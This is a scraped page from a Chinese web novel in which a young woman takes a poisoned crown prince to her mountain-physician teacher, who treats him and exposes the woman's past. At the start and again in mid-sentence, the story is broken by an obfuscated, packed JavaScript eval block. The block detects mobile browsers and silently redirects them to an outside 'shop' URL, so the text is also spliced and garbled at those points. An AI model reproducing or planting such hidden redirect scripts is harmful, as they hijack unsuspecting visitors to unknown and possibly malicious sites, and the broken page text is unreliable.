d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763311|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他像刚从水里被捞出来，贴身衣物湿透。 竺影解下他头上的絮巾，当作手帕去擦汗，自上而下擦拭过他的额头、眉梢、紧缩的眉心，还有眼角…… 竺影有些恍惚，她从来没有这样去看过他。 他同明谌有些相像，相似的眉眼与轮廓，只有眼眸不尽相同，此刻他双目紧闭着…… 极度相似的面貌之下，是了无生气的病容。 光是这样看着，就让她不太好受。 她当真怕这个人死在自己身上了，给他擦净了脸上的汗，还是推着他靠在褥子。 竺影从袖中取出个小药瓶，里头还剩着几丸药。 孟闻昨夜吃了一丸，才得以强撑一副病体出席梁府晚宴。 竺影又取出一丸喂给他，捧着水壶递过去，“殿下可有好受些？” 孟闻饮了一口水，默不作声摇头。 竺影纳闷，怎会不起作用呢？难道是这药放太久，失了药效？ “抱歉啊，让殿下耽搁了这么久。”她望着他枯槁般的形容，不知还能做些什么。 过会，孟闻缓缓睁眼，仍然难受得很，呼吸牵痛着脏腑，他其实不愿过多开口。 可她的期盼太明显，恨不能将殷切写在脸上。 孟闻看着她，问了一句意味深长的话：“就这么不想我死么？” 好不容易肯施舍一点回应，却使竺影更茫然。 “当……当然，我想殿下好好活着。”她磕磕绊绊回答。 “哦。”孟闻淡然一笑，“你还挺忠心的？” 忠心？ 他说出口的却是问话。 竺影没有应答，低头替他掖好膝上的薄毯，借以遮掩心事。 “殿下难受的话，就先睡吧，再有两个时辰才能到松山。”竺影不想跟他搭话了。 孟闻说：“不。” 竺影不解地看他。 他又说：“痛着也好，才清醒些。” 要不说他与孟明谌是手足呢，说出来的话也如出一辙。 竺影道：“那殿下可需我陪着说话？” 客套而已，竺影等着他拒绝，没几个病人喜欢耳边有人吵扰。 可他病恹恹地，应了声好，又问：“说些什么？” 竺影挖了坑给自己跳，至于要说什么，她压根没想。思来想去，还是说道：“要不殿下还是睡吧？我不善与病人闲谈。” “病人”倒是十分善解人意：“不若我给你讲讲我的皇兄？” 竺影心中发怵，他提起的每一个话头，都让她没有听下去的欲望。 她问：“殿下说的，是哪一位？” 睢言笑着反问：“你想打听哪一位？” 竺影头皮发麻，哪里敢答？这人明明知道，她与孟晓之间藏着一层不清不楚的关系。她选襄王，这人会怀疑她有避嫌之意。若她选齐王，就坐实了她有二心。 她只得晃着脑袋，答道：“我无意了解殿下的两位兄长。” 孟闻报之一笑，这回答也并不能使他满意。 话题就此终止了，二人拢共也没说上几句话，到最后他还是撑不住，先睡过去了。 余下的路程，竺影轻松许多。 马车停在松山脚下，山道陡峭而狭窄，行人只可徒步上山。 几个随行的士卒留在山下，竺影在前引路，角音背了孟闻上山。 三月初，本是草长莺飞的时节，山林里的寒意未褪去，仍带了些萧瑟的冷清。 竺影一路上与角音叮嘱：“闵大夫不喜权贵，尤其是京城里的那些。你到了山上切莫提及殿下的身份，且说他是寻常人家的公子，别称殿下。神医脾气不大好，别一上去就颐指气使的，到底是我们到人家的地方叨扰，有求于人。千万要记得了。” 听她说了一长串，角音只回三字：“真麻烦！” 孟闻醒来叱责道：“角音。” 他这才勉强回道：“记得了。” 越往山上走，道路越崎岖狭窄，使得他一脚深，一脚浅；一脚碎石，一脚枯枝败叶。越发地难行。 竺影听到身后人的气喘吁吁，同他道：“还有一半的路，你要不要歇一歇？” “不需要！”角音一口回绝，转头又埋怨，“哪个正经的名医，会住在这深山老林里？你该不会是故意引我与殿下至此，想要杀人灭口！” “对对对，我就是要杀你！”竺影煞是无语。 已经到了自家地盘，懒得同他掰扯，索性胡说八道：“那你路上可要好好看着了，好给你家殿下挑一处葬身的风水宝地。” 角音气得破口大骂：“你个妖女！” 竺影道：“谬赞。” 角音怒道：“我杀了你！” “你来。”竺影面朝着他，倒着往山上走，肆无忌惮挑衅。 壮士怒而拔剑，奈何腾不出手。只因有个半死不活的人，尚在他背上趴着。 “角音。”他背上那人被气活了似的，气若游丝喊了他一声后，止不住地低咳，咳得断断续续。 角音忙偏头看向太子，问道：“殿下有无大碍？” 孟闻道：“无碍。” 角音依旧不放心：“可我见殿下咳得难受。” 孟闻道：“无事，上山吧。” 角音道：“殿下竟还要上去？” 竺影附和道：“殿下也觉得这处是块风水宝地？” 孟闻没力气同她讲话，却是轻呵出一笑。 竺影略显吃惊，他竟是在笑啊，有气无力垂在角音的背上，笑得只剩气音。 怕他就这般把自己笑死了，竺影遂不再与角音玩笑，正经道：“赶路吧。” 这处的争吵止息，山道间传来行者的歌声，是竺影熟悉的乡音。 回头一看，是个年轻的乡人，着麻衣穿草鞋，负竹篓提竹箱，自他们身后而来。 他见了竺影一行人，放下竹箱，先行拱手行礼道：“敝人常年居深山，鲜少有来客。不知几位远客可是为求医而来？” 角音见了来人，心中一喜，上前问道：“莫非你就是闵神医，竟如此年轻？” 闵福摆了摆手，笑道：“非也非也，敝人虽姓闵，却非足下要求的神医。” 角音嘴角笑意一收，直接将失望写在脸上。 竺影认出来这人正是闵春之子闵福，于是拢袖与之道礼：“一别经年，师兄无恙否？” “噫！”闵福听她如是称呼，莫不惊讶，“你竟是……竟是小竹吗？万想不到，你还会回来啊！” 又看向角音背着的人，“后面的这位，是祝先生么？” 竺影道：“不是，他患了重疾，我带他来此求医。” 后以眼神示意他，别问太多。 闵福道：“既是为求医，还请诸位随我一道上山罢。” 若非在半道遇上了闵福，角音万不敢相信，有人会住在这鬼地方，杂树乱生，野草埋径。 又往山上行了一段路，才看到有人生活的痕迹，石路溪桥，竹篱茅舍，在鸟鸣山更幽处被远去。山上只有闵春大夫和一个弟子，前山是登山道，后山则是上百亩药田。 破茅草屋前，不见什么神医，只有一个勤勤恳恳的健壮农妇。妇人挥动手里的耙子，在翻晒地坪上的药材。 角音直接忽视了妇人，视线往草屋四周探去，嘴里嚷道：“怎么没有人呢？神医何在？” 闵福呵呵一笑，指着屋前妇人，说道：“小兄弟真是有眼不识泰山，这位就是你要求的神医，闵春大夫。” “什么？”角音堪遭雷击，惊得嗓子破了音，指着晒草药的妇人道，“你说是这个农妇？莫要与我开玩笑！” 他果然又将竺影的嘱托抛在九霄云外了。 竺影急道：“快住口，我说她是她就是。” 角音再次激动起来：“你胆敢再胡言乱语！我这就带殿下下山回去！” “你去你去。”竺影看他蠢得无可救药，指着下山的路说道，“若神医不救，我可救不了你家殿下。” 角音眼里的“农妇”立起耙子，扯袖擦了擦额上的汗，看着篱笆外几个吵嚷的后生，说道：“快将人放下吧，别让他死我屋外头了。” 角音问：“放哪儿？” 闵春笑道：“你这后生说话真是好笑，当然放床上啊，难不成放地上么？” 37. 拟行路难（七） 闵春大夫身上透着农人的淳朴，一身短褐，木枝绾发，麻布裹头，住的草堂更是简陋得不能再简陋。 角音用了很长一段时间，才接受竺影中神乎其技的医者是个农妇。到底还是认为自己被诓骗了。 为今之计，只能死马当活马医。 眼看那“神医”干完农活，扯过一条脏布擦手，就去给太子殿下切脉了，偏拦着角音，不让进去。 角音只能干看着，坐立难安，在屋前踱来踱去。 竺影和闵福却是坐在地坪上晒太阳，谈笑风生，半点儿也不心急。 闵福问竺影，这些年在京城过得如何，家中长辈身体如何，祝先生的病如何…… 竺影编了点谎，一一圆了过去。 这位师兄没什么可问的了，竺影便问：“师兄今晨下山去了哪里？” 闵福道：“阿母听说葛县不少人生了疾病，叫我送些药材过去。” 竺影道：“病的人多吗？只师兄一个人怎么送得过来？” 闵福道：“这不也没有人手，明日再去一趟罢。” 竺影问：“有没有什么我能帮上的忙？偏我这时还带了病人上山，给你们添麻烦。” 角音在背后气鼓鼓地瞪她，她竟说殿下是麻烦。 闵福道：“不必不必，阿母见你回了，高兴还来不及。” 竺影道：“我已十年未归了，不知师傅还认不认得出呢。” 刚说着她会高兴，身后飞来一条手巾，“啪”一下抽在闵福后脑上。 一转头，是闵春大夫在骂道：“闲聊什么呢？活干完了吗？” 闵福捂着头起来，和和善善喊了一声：“母亲。” 竺影也笑意晏晏到她面前，盈盈揖礼：“师傅。” “噫！”闵春大夫眼前一亮，大惊道，“你是哪里来的女郎呀？怎么乱叫师傅？” 竺影笑道：“山下来的，竺家的。” “原来是你！”闵春听罢眼前一黑，忍不住扶额气笑了，“我就说他身上这毒怎么这样稀奇古怪，这些个难治的病人，你都是从哪里给我找来的呀？” “啊？这个也很难治吗？”竺影心虚时声音也低，“正是因为难治，我才来找师傅呀。” 其实她也就只为两人求过医，一个是云琅祝家的公子祝从嘉，先天不足；另一个就是梁朝的太子殿下了，不知被人下了什么毒，虽可恨，也可怜。 闵春扯着竺影走到屋旁，压低了声音道：“不过你也别担心，祝家那个先天不足的，师傅也没辙。但后面的这个，师傅一定给你治好。虽说人不如故吧……后头这个也不差了，你也节哀。” 节什么哀？ 竺影听得一头雾水，随后反应过来：“师傅你是不是误会了什么？” 闵春道：“咦？不是吗？” 竺影道：“祝家的公子还活着。” “这样啊……”闵春顿时恍然大悟，声音低了又低，“那他是跟别人跑了吗？你呀真是，这么多年徒劳，反为他人做嫁衣。” 竺影几乎语塞，艰难解释说：“也不是您想的这般。我带来的这人，其实是祝家公子的学生，与我没多大关系。” 这么说，也不算撒谎吧。 “原来如此！”闵春再度恍然，“你早说不就好了。” 竺影又叮嘱她：“师傅您可千万别当真外人的面乱说呀。” “放心放心。”闵春大夫连连应答，“师傅心里有数。” 院里其他两个人凑过去偷听，又被闵春一手巾抽了回去，“瞎凑什么，赶紧把院里的草药翻晒了，明天送下山去！” 闵福撇嘴道：“行。” 角音被抽了一脸，还木在原地。 闵春大夫才想得起他这号人来，上下打量他一番，问道：“屋里躺着的，是你家公子吧？” 角音道：“是。” 闵春道：“先说好，我不白给人治病，要收报酬的。” 角音道：“闵大夫若能治好我家殿……公子，在下定当以千金酬谢！” 闵春道：“我一个山里人，要再多钱也没用，不如叫你给我干活。要么去柴房劈柴，要么去地里锄草，自己选一样吧。” 竺影在一旁道：“师傅，你不知这人有多笨手笨脚，脑子也不甚灵光，让他去地里踩坏了草药，你不心疼吗？” 闵春转念一想：“也是啊。” 竺影又道：“这匹夫一身的劲，叫他去劈柴正好。” 角音攥着拳头，气得龇牙咧嘴，太子的性命捏在别人手上，又只能沉着脸不敢反驳。 竺影被他气了多回，终于在这里报复回来了。 闵春一指隔壁柴房，同角音道：“柴刀就放在柴堆上，怎么劈柴不用我教你吧？” 角音咬牙道：“不必。” 院里的两个男子都被闵大夫打发了，竺影才想起要问：“那位公子的病，师傅看得如何了？” “呀！”闵大夫再一拍脑袋，“只顾着与你说话，怎么把他给忘了？” 竺影：“……” 她师傅的医术无可指摘，至于医德，也是有的，偶尔才有罢了。 闵春大夫到草堂中给病人配药，竺影也跟着去，给她搭把手。 闵春问道：“来之前，你给他扎过针了？” 竺影道：“扎过，还是师傅教我的那一套。” 闵春道：“难怪。得亏你这么多年没荒废，不然他被你这么胡乱一扎，不死也残废。” “啊？”竺影慌慌张张道，“我扎错了吗？” 闵春大夫乐呵呵笑道：“没有，我就吓一吓你。看你，自己都不敢笃定的事，怎么敢用在病人身上呢？” 竺影长舒一口气，又是虚惊一场。房门敞开着，她朝里瞥一眼，只见榻边垂下一片衣角，不闻动静。她问：“那他什么时候会醒？” 闵春道：“得看他，什么时候想醒来了，就会醒。” 师傅这意思，就是他可能现在就醒着？ 竺影也不敢多说话了。 只等师傅称好了药材，取了泉水浸泡。竺影洗出一只陶锅，把药炉里的灰清理了，等着煎药。 角音在柴房外劈柴，一斧子一斧子挥下去，似要把怨气都往柴火上发泄。 闵福师兄翻晒过一遭药材，叫竺影有空时帮忙翻一翻，竺影随口答应下来。他又背起那高高的竹篓，到后山采药去了。 春后多生疾疫，求医者甚众，闵春大夫忙着给山下的病人配药，没多少功夫陪竺影闲聊。 一整个下午，竺影都独自守在药炉前。 屋外沐着暖阳，走进檐下才发觉，屋中凉得沁人。 竺影端药进屋，榻上的人醒着，已自行坐了起来，安静不语。 郎君长袍玉冠，素衣广袖，局促在一间逼仄的屋子里，枕藤榻卧草席。他本就苍白，坐在灰扑扑的陈设当中，又多惨淡几许。 竺影朝他走过去，勉为其难挤出点笑意：“该喝药了。” “嗯。”孟闻淡淡应答。 清苦的药香弥漫开来，药碗近在眼前，他却不知伸手。都到山旮旯里了，他还不忘自己是太子。 竺影僵着笑意，耐着性子，如往常侍奉汤药那般，吹凉了一勺送去。 药匙送到了嘴边，孟闻却不张口，一双眼直直望着他，启齿发问：“你为何会知道这里？” 竺影答：“我曾拜闵春大夫为师，随她行医。” 孟闻又问：“竺家的女公子，为何会学医？” 他仍记得她是官家子女，却会在这样偏僻的山林里学医。 竺影道：“想救人。” 她欲救的是何人？孟闻本还要问起的。可她一句“并州多疾疫”，就此搪塞了过去。 “哦。”他也如是敷衍应一声。 竺影催促道：“殿下，先喝药吧。” “好。”孟闻将她伸来的勺子推了回去，端过药碗一饮而尽，如饮水般稀松平常，看得竺影喉咙发苦，眉头紧皱。 空碗递回去时，他同竺影道了声谢。 “殿下要谢的话，还是谢我师傅吧。” 竺影才不敢承他的谢意，收走药碗，便赶紧离去。 山中无杂事，入夜早，山中人休憩得也早。 晚间，闵福回来煮了些粟粥，配上些渍蔓菁对付了晚饭。 太子殿下对此倒没多说什么，他在西苑最清苦的那些年，也不外如是。 竺影忧心孟闻夜里觉着冷，他毕竟是个病人，于是另给他搬来一床褥子。 铺好了床榻，众人都将睡了，只有角音还在孟闻的房间门口守着，可谓是尽忠职守。 闵春看不太懂，问竺影道：“他站在那里干什么？” 竺影道：“我不知道。” 闵春道：“当门神吗？” 竺影忍不住笑出声来。 直到房间里的人开口：“角音，你自睡去，不必守我。” 接着又几番催促，角音这才不当门神了。 闵大夫的草屋勉强隔出三间房，病人单独占了一间，竺影和师傅住在一起，角音和闵福宿在一处。 山间不闻鸡鸣叫，晨间自有鸟鸣扰。 群山之环绕了一圈雾霭，天边浮了一层薄柿色，天刚刚明，浮云尚不曾褪尽。 师兄闵福早早起来了，收整完昨日晒好的草药，背篓下山去给葛县乡民送药。 早饭过后，闵大夫回屋亲自为孟闻施针，他面色比之昨日好了许多。 闵春大夫一边熟稔地行针，一边神秘兮兮道：“后生，你是得罪了什么不得了的人吧？” 孟闻皱着眉，不解其意。 不等他出言自辩，闵春心中已有了盘算，分析得头头是道：“你身上中的这毒可不常见呀，不像是寻常人能弄到的。” 孟闻没答话，闵春便当他默认了。 行针拢共两刻钟，也没见他说一句话，闵春只当他是不爱说话。 灸完了针出门去，阳光刚刚照到屋檐下。 角音吃过早饭，已自觉劈柴去了。 闵春朝柴房的方向喊了一句：“大牛，出太阳了，屋里有张藤榻，去把你家公子搬出来晒一晒，病会好得快一些。” 角音翻了个白眼，嘀咕一句：“你当我家公子是药材呢？还晒晒？” 隔壁半晌没有动静，闵春便又催：“听到没有？” 角音满腹牢骚：“我叫角音，宫商角徴羽的角，不叫什么大牛。” 他郑重其事纠正神医的称呼，神医听不懂，只回一句：“我管你呢？” 闵大夫素来如此，她只记得这人患的什么病，不去记这人唤的什么名。 这些年来，也有不少前来求医的病人，在她的茅草屋前来来去去的，生死看惯。 他们求得良方良药便下了山，其中的大多数都会变成此生不会相逢的陌路人。 所以不记得也罢，可以省却许多事情。 竺影道：“他就是这样的人，说话可难听，师傅别往心里去。” 闵大夫不甚在意地笑笑：“我看这后生很不错啊，他不光嘴勤快，干活也勤快。” 一看柴房前，堆了满墙的柴薪，排得整整齐齐。 角音背地里又骂了一句，撂下柴刀，刚走到门口。就见昨日还半死不活的太子殿下，今晨已经能下榻行走了。 角音遂不骂了，心中改敬神医。 孟闻披衣走出门来，朝闵春大夫作揖道谢：“多谢闵夫人搭救。” 闵春大夫笑得直摆手：“什么夫人不夫人的，我就一山野妇人，闲来无事给人治个病，只会一点皮毛罢了。” 竺影本来还在药炉前煽风燃火，扇着蒲扇的手突然一顿。听自家师傅也如此自谦，她再不敢自称略通医术了。 闵大夫又道：“得亏你是年轻人，不然没个两日，还下不来床呢。” 孟闻问道：“不知晚辈这病，须得多久能治好？” 闵春道：“你这毒难解呢，如要彻底根除，最短也需两个月。” 竟要足足两月啊，他定然耽搁不起。 孟闻又道：“实不相瞒，晚辈有要事在身，无法在山中停留太久，不知能否快些？” 闵春思索道：“这样吧，你要是能撑得住，我就给你下一剂猛药。最快半月就能下山。” 孟闻仍旧摇头：“还是太久，可否再快些？” “还要再快？”闵春也急了，“再快你赶着投胎啊？” 妇人竟对殿下口出不逊，角音也急：“大胆！” 眼见着他们要吵起来，竺影忙撇下药炉，上去相劝。 她也清楚，云琅诸事耽搁不了这么久。 竺影道：“师傅，您看这样可好？这几日您为这位公子医治，我在旁学着。待他脱了性命之虞，我会同他一道下山去，其后的药石针刺灸疗便交由我来。” “你？”闵春大夫若有所思地盯着她，又看了看那个面色僝僽的后生。 许多年以前，有个上山学医的小女郎也说过类似的话，做了同样的事。她说要救人，要救他，就稀里糊涂跟人下山，一去十多年呐…… 闵春沉着脸把竺影拉到一旁，没忍住责骂她道：“你当真是糊涂啊！” 竺影道：“有何不妥吗？我本就是要和他一道下山的呀。” 闵春道：“往后你还要专为他治病不成？” 竺影道：“那倒不会，师傅不必担心，我与他只同行这一路。” 闵春道：“当真？” 竺影道：“当然。” “这才好。”闵春终于放下心来。 两人背地里商量妥了，才回到屋前。 角音刚搬了屋里的藤榻出来，让殿下在屋前休憩。 闵大夫到孟闻面前摊开五根手指，说道：“五日，最少也需五日，少一日都不行。” “好。”孟闻应下了。 闵春道：“你既来求医，就必须得听我的，否则轻易放你下山，任你死在了山下，不是坏我名声么？” 孟闻复又朝她揖礼道：“晚辈先谢过闵夫人了。” 闵春道：“别谢我，叫你旁边那小兄弟多帮我干点活罢，山里人也忙呢。” 角音自觉道：“我去劈柴。” 竺影道：“我去煎药。” 几人又各司其事去了。 闵春从屋里搬了另一批药材出来翻晒，好几次从竺影面前经过，她都闷闷的，也不抬头说话。 她长大了，下山十多年再回来，已变成了二十多岁的女郎，于闵大夫而言，只是一夜之间的事。 寄居在闵大夫记忆里的，是童年时的竺影。 她幼时也吵闹啊。 竺家那小女郎当初哭着嚷着要跟闵大夫学医，闵大夫被吵得不行，才答应收她。读医书、辨药材，都是漫长而枯燥的事，也有几次，她吃不下苦头，吵着闹着要下山回家，都被闵大夫哄了回去。 只有最后一次，闵大夫没能把弟子哄骗回来，她下山回了家。不多久，竺太守一家就移居京城了。 京城能是什么好地方？ 瞧她徒弟去了一趟回来，人都换了个芯子。 一个人有什么心事，能骗得过旁人，瞒不过医者。 转眼晌午了，日头高悬。闵大夫晒完了药材，扯了张草席过来，坐在茅草檐下休息。 角音提了木桶去山下挑水，篱笆院里就三两个闲人。 一个犯了病的，拿本书盖在脸上装死；另一个眼里只盯着药炉，都不主动找闵大夫说话。闵福也还没回来，闵大夫怕是要闷出病来。 闵春侧头看着竺影，又问起她：“祝家公子身体可还康健？你怎么都不和我说他了呢？” 闵大夫这一问，那装死的人也不装死了，脸上的书“啪嗒”掉到了地上。 竺影安安静静守着药炉，只答：“不如旧。” 闵春道：“不如旧，是比从前好了，还是比从前差了？” 竺影道：“差。” 不等闵春问起点别的，她便借口药煎好了，进屋去拿碗。 闵春当然看得出来，竺影总对此避而不答，她以前总将祝家公子挂在嘴边的呀。 要是祝家那小子在这里，闵春定要好好问一问他。 竺影若无其事地，盛了药给孟闻送去，药汤还烫，便放在他手边晾凉。顺带替他将地上的书捡起来了。 做完这些，竺影本要回屋躺着了。 闵春又叫住她：“小竹，你的手怎么了？” 竺影疑惑：“师傅问的是我哪只手？” 闵春道：“左手。” 竺影方想起来：“以前受过点伤。” 闵春道：“过来给我看看。” 竺影乖乖把手伸过去，顷刻她便后悔了—— 闵大夫一探便知：“尺骨以前折过？哪个庸医给你接的？仍有点不贴合……” 扶着竺影的手臂一摸一正，竺影还没反应过来，从前的伤处已经整复。 闵春道：“你再试着用一用劲。” 竺影尝试转了转手腕，左手当真不觉乏力了。 她笑道：“果然什么事都瞒不过师傅呀。” 闵春也哼笑道：“我不问起，你当真还想瞒我呢。师傅又不是什么外人。” 竺影悄悄窥一眼沉目喝药的太子殿下，她未尝不想倾吐一番，可是院里尚有外人在。 可师傅似乎没把孟闻当外人，好像也没把他当人。 闵大夫一旦搭上旁人的脉，习惯张口就来：“当初一见你面黄肌瘦，方才又观你脉象细沉，定是时常担惊受怕，我就知道祝——” “不，师傅你什么都不知道。”竺影着急忙慌地捂上师傅的嘴，盼她别再说下去。 她总算知道太子殿下为何忌医了，毕竟在医者面前什么都瞒不住。 闵春愤愤道：“我就知道祝家那小子没照顾好你！” 竺影心里咯噔一下，忙说：“没有的事，没有的事。” 闵春又是一副怒其不争的表情：“你别替他说话！以前就是这样，如今还这样。” 竺影把师傅扯到一旁，压低了声音道：“我知道师傅您生气，可是您看——还有外人在呢。” 她口中的“外人”不疾不徐端起药碗，轻轻笑了下。 这倒是提醒了闵大夫。 闵春倏尔移目，看向孟闻：“后生啊。” 闵大夫不知他是太子，才会这样称呼他。若知他是太子，定要举起锄头抡死他。 云琅的百姓就是这样痛恨朝廷的人。 闵春问道：“听小竹说，你是祝先生的学生吧？” 孟闻顿了顿，略略颔首：“是。” 闵春道：“托你帮我个忙，可好？” 孟闻道：“但讲无妨。” 竺影乞求道：别讲，别讲。 闵春不听，她偏要讲：“望你回了京城，转告祝先生几句，叫他好生照顾小竹啊。当初他可是在我这里立了誓的，岂能说话不算话……” 竺影此刻笑得比哭还难看，扯着闵春的袖子哀求：“师傅，我求您别再说了啊。” 再说下去她当真要完了呀。 她在孟闻面前撒过那么多谎，好不容易把竺家和祝家的关系囫囵过去，岂能料到师傅一机灵，把她的事抖出来这么多？ 怕是等不到太子殿下回去交代，她就要死在回京的半道上了…… 闵春道：“怎么不让说啊？他把你养得这么差，还不准说几句了吗？” 竺影低着头，不敢去看孟闻脸色。 她惊惧，赧然，诚惶诚恐，权势也是杀人的刀，轻飘飘一道口谕便可夺人性命，远比有形的利器更令她恐惧。 竺影真想即刻回屋，找根绳子把自己吊死。 只恨师傅的草屋不结实，非但吊不死她，反会把房梁坠塌。 孟闻喝完了药，轻轻搁下碗，粗糙的瓷碗磕在木案上，发出沉闷一声。 闵春笑着看孟闻，道：“就这几句话，能不能帮我带回去给他？” 孟闻微微一笑，道了声好，“晚辈定会亲自转达。” 声音喑哑，却穆如清风。 闵春大夫笑着颔首，云淡风轻道：“你看人家多和善，多好说话，你怕他做什么？” 天底下最和善、最好说话的太子殿下也噙着笑意，附和着道：“是啊，你怕我做什么？” 竺影一口气悬在胸中，不上不下。她怕朝不保夕，怕祸及家人，他明知道她怕什么。 可师傅不知道这人有多能装。一个中了毒快死的病秧子，生生被她给看顺眼了。 竺影收碗回了屋，闵春也跟着进去，竟还与竺影打听起来：“就门外那个，他是哪里人士？” 竺影道：“师傅不是从不过问病人的事么？” 闵春道：“可他是你带回来的，师傅得问呐。” 竺影十分坦诚地吐露：“那要叫师傅失望了，他是延都人士，家住京城。” “噫！”闵春大夫顿时黑了脸，一时间打消好多念头，“京城啊……京城可不好，你给他治好了病以后，就赶紧离他远点。” 竺影笑盈盈应下：“好。” 这样才对呀。 待闵福师兄从葛县回来，闵春大夫伙同他骂了祝家郎君一晚上。即使当着他“学生”的面，也毫不顾忌。 其间，她还与孟闻道：“他既是你的老师，也该为人师表，你说他怎能做出这些事啊。” 孟闻连连称是，一连点了好几下头，不掩幸灾乐祸。 竺影知道他从来不喜祝从嘉，如此正合了他的意。 师傅一生活得恣意无拘，总是有话直言，不会憋在心里。竺影怎么劝也劝不住，只得选择闭口不言。 不过医者仁心，骂归骂，到第二天早晨，闵大夫还是给远在京城的病患配了新药。 竺影本不想过去给师傅搭手，怕又招她骂。可是相比之下，更不情愿单独面对孟闻。 闵春叹道：“应当是我最后一次给他配药了吧。” 虽说闵大夫多年不曾见祝家公子，对他的病还是知根知底的。他那副残破的身子能拖到今日，已是不易。 竺影道：“也是我最后一次麻烦师傅了。” “别。你以后的路还那样长，可别把话说得太早。指不定下回带了别个男子上山来，师傅还愿意给你掌眼。”闵大夫一挑眉毛，得意扬扬道，“你师傅见过的人可多了去，什么好人坏人，一眼就给你分辨出来。” 竺影以为，师傅说的好坏，是指人身体的好与坏。 想到以后再难回云琅了，竺影只道：“不会再有了。” 闵春不解她的心事，苦口婆心劝她：“真不是师傅诓你，祝家小子那病好不了。” 他的病治不了，治不好…… 这些话师傅说过很多遍。 竺影淡笑着道：“我知道呀。” 闵春默默盯着竺影看了许久，叹道：“你真犟，又犟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785208|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又糊涂。也不敢跟我说这些年过得怎么样，让我平白猜来猜去的。” 一直低头秤药的竺影抬了头，望着师傅温柔地笑了笑：“那就不去猜，师傅见到过什么样的我，就记得什么样的我。您看，不管是十岁的我，还是二十岁的我，不都好端端地在这里吗？” 闵大夫嗔怪：“净知道说些歪理！” 所有的心事，都被竺影轻轻一笑遮掩过去。 她还有许多话没跟师傅说，她没说京城里的变故，没说竺家已经落了难。没告诉师傅，她和祝家公子早不似从前，竺家与祝家其实早就行同陌路。 闵大夫久居深山，这些消息很难传到她这里来。 两人在屋里闲聊，闵福掀了帘进来，说道：“阿母，肺形草不剩下多少了，我去后山一趟，顺带采一些别的药草。” 竺影道：“师兄，让我去吧。” 她正需一个借口，暂时逃离这个地方。 闵福道：“你去吗？” 闵春也担心：“你多久没进过山林？还识得那些草药？” 竺影道：“您就当我是——温故知新。” 她系上围裳，取了麻布裹起头发，背起竹篓，欣然出门了。 山路盘绕，百步九折，于林木间蜿蜒纵深。其实也不见什么专门修的路，只有山人频繁踩过，余下几条不长草的泥道。 草屋附近的药草多被闵福师兄采了去，不剩下什么长成的药材，竺影只能去更偏远的地方。 途中见着椭圆的叶子，白色的叶脉，植株低低地匍伏在地上，这便是肺形草。 越往深山走，所见的收获愈多。半山腰下，多有乡民入山樵采，挖了草药回去晒干，售给城中药铺。一年进山数十回，才换得一点微薄的银钱，充作生计来源之一。 松山极高、极广，拥着数座峰峦，禽鸟鱼虾、野菜药草从不稀缺，供得起山下数百山民的生资。 竺影如今再来，却觉得草药少了许多，连鸟鸣也不似当年此起彼伏，只有鹧鸪“咕咕”地叫，颇有涸泽而渔之感。 盛世之时，草木也盛；荒灾之年，草木也荒。 竺影绕过一座峰峦，来到了山顶上。日头高悬在头顶，晌午了，林间薄雾尽散。 山间有木香，随着松风而来。 她在这里歇脚片刻，迎风消了薄汗，复又背起竹篓，去往另一座峰峦。 出去半日，傍晚才归，仍不得满载，只带回来半篓子药草。 竺影趿拉着步子回来，置下背篓，抖干净鞋底的泥，进门寻了条麻巾擦汗。 “师父，你这山头都不剩什么草药了。” 闵春淡然道：“山下病人多嘛，改日再让你师兄到争暮峰转一转，他昨日还说，葛县尚有人吃不上药呢。” “嗯。”竺影闷闷应答。她好久不行远路，刚要坐下休息。 师傅忙着称药，顾不上看她一眼，又催促着：“趁着日头没落山，把你捡的药草拿去晒了，到时还得紧着这点入药呢。” “好。”她又拖着竹篓出去。 手里的事情没忙完，师傅又催：“去看看药煎好没，记得盛出来给他送去。” 竺影心道，奇也怪哉，今天怎么只逮着她使唤？她往屋里屋外看了一遍，“师兄去哪儿了？” 闵春道：“大牛不肯让他家公子再吃糠咽菜，说要出去打猎，你师兄一听，药也不去采，就跟着出去了。” “哦。”竺影道，原来如此，还是他的一派作风。 洗净了手，便去给病人盛药。 太子殿下在院中浅眠，轻阖着眼，一点余照落到他身上。 竺影行走带过一阵风，他在睡梦中不动，只有罗袂浮摆。 闵大夫说得多对呀，他多像一块药材，白天放在屋外头晒，晚上才收进屋里来。 竺影轻手轻脚过去，把碗搁在孟闻身旁的木案。犹豫了一下，怕药凉了他还没醒，又凑过去同他小声说话：“殿下，该喝药了。” 他不应声。 “殿下？”竺影托腮候在一旁，看见他眼睫轻微扇动，知道他醒了。 以为他还在生气，才故意不应她。 怕师傅在屋里听到，竺影挨得极近，近到几乎是同他耳语：“殿下勿要生气呀，于养病无半点利处的。” “哦？”孟闻闭着眼，悠哉悠哉道，“你知道我为何生气？” 竺影心里没底：“许是因为……我瞒了殿下一些事吧？可那些毕竟是我的私事。” 孟闻道：“我与你说过，欺君是何下场罢？” 竺影有些后悔了，才刚说了两句话，欺君这么大的罪过就给她扣了下来。 她敢承认吗？不承认的话，便又是在欺他了。师傅心直口快的，不会帮着她圆谎。是以她之后的遮掩，多半是欲盖弥彰。 竺影同他商量着，开始挟恩图报：“殿下，怎么说都是我救了你，虽不敢谈功过相抵，求您赦免我的罪责，只求殿下不要迁怒我的师傅，还有我的家人。” “嗯。”孟闻道，“我也并非这般不讲理之人。” 竺影试图得寸进尺：“那……看在我为殿下上山采药，又亲自熬药的份上，再对我从轻发落，可不可以？” 孟闻睁开眼睛看她，一时四目相对，将她眼中疲态尽收眼底。疲惫之余，还有惶恐。 